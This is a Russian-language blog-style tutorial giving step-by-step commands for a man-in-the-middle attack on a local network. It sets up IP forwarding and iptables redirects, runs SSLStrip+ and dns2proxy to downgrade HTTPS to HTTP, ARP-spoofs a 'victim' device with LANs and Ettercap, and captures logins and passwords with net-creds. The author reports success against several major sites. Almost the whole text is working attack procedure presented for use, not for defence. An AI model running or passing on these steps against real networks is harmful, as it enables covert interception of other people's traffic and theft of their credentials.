Есть презентация по использованию SSLStrip+ и dns2proxy, а также несколько видео от энтузиастов по данному вопросу, но полной пошаговой инструкции, как и что делать я не нашёл. Поэтому эта заметка восполняет пробел, здесь я попытался максимально полно и пошагово описать запуск SSLStrip+ и dns2proxy. Я делал тестирование на BlackArch, но характер команд таков, что они должны также работать, например, на Kali Linux.
В процессе тестов мне удалось заменить протоколы HTTPS на HTTP для таких сайтов как google.com, yandex.ru, vk.com, не удалось для facebook.com, mail.ru (другие не пробовал).
Установим необходимые нам пакеты:
sudo pacman -S python2-service-identity ettercap-gtk
Обратите внимание, я не стал ставить из репозиториев ни SSLStrip, ни dns2proxy. Поскольку dns2proxy в репозиториях BlackArch отсутствует, а SSLStrip представлена в своей обычной версии (не SSLStrip+).
Все последующие команды я выполнял залогинившись под рутом.
Переключите вашу машину в режим пересылки (форвардинга).
sudo echo "1" > /proc/sys/net/ipv4/ip_forward
Настройте iptables для редиректа HTTP трафика:
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 2000
sudo iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
Скачиваем и запускаем SSLStrip+.
git clone https://github.com/singe/sslstrip2.git
cd sslstrip2/
sudo python2 ./sslstrip.py -l 2000
Скачиваем и запускаем dns2proxy:
git clone https://github.com/singe/dns2proxy.git
cd dns2proxy/
sudo python2 dns2proxy.py
Далее меня постигли неудачи с arpspoof и LANs. В BlackArch, кстати, arpspoof называется smikims-arpspoof. У меня по каким-то причинам команда не сработала.
С LANs я делал так. Искал IP жертвы:
sudo nmap -sn 192.168.1.0/24
И запускал программу со следующими аргументами:
sudo lans -u -p -d -ip 192.168.1.33 -i enp0s3
В принципе, спуфинг и сниффинг шёл, поскольку с помощью Net-Creds я могу видеть перехваченные логины и пароли, но всё это шло в обход SSLStrip+ и dns2proxy:
sudo net-creds -i enp0s3
Кстати, при выходе LANs делает очистку, т.е. может ещё раз понадобиться включить форвардинг и правила файервола.
Тогда для спуфинга я решил использовать Ettercap. Делал по классической схеме:
Запускаем графический интерфейс (-G):
sudo ettercap -G
В меню выбираем Sniff, далее Unified, выбираем желаемый интерфейс:
Теперь выбираем Hosts, в нём подпункт Scan for hosts. После окончания сканирования выберите Hosts list.
В качестве Цели1 выберите роутер (Add to Target 1), в качестве Цели2 выберите устройство, которое будете атаковать (Add to Target 2).
Теперь переходим к пункту меню Mitm. Там выберите ARP poisoning… Поставьте галочку на Sniff remote connections.
На этом я остановился, поскольку SSLStrip+ и dns2proxy заработали. Хоть SSLStrip+ явно работала (понижала протокол до HTTP), но в окне программы постоянно появлялись ошибки – возможно, это нормальное поведение.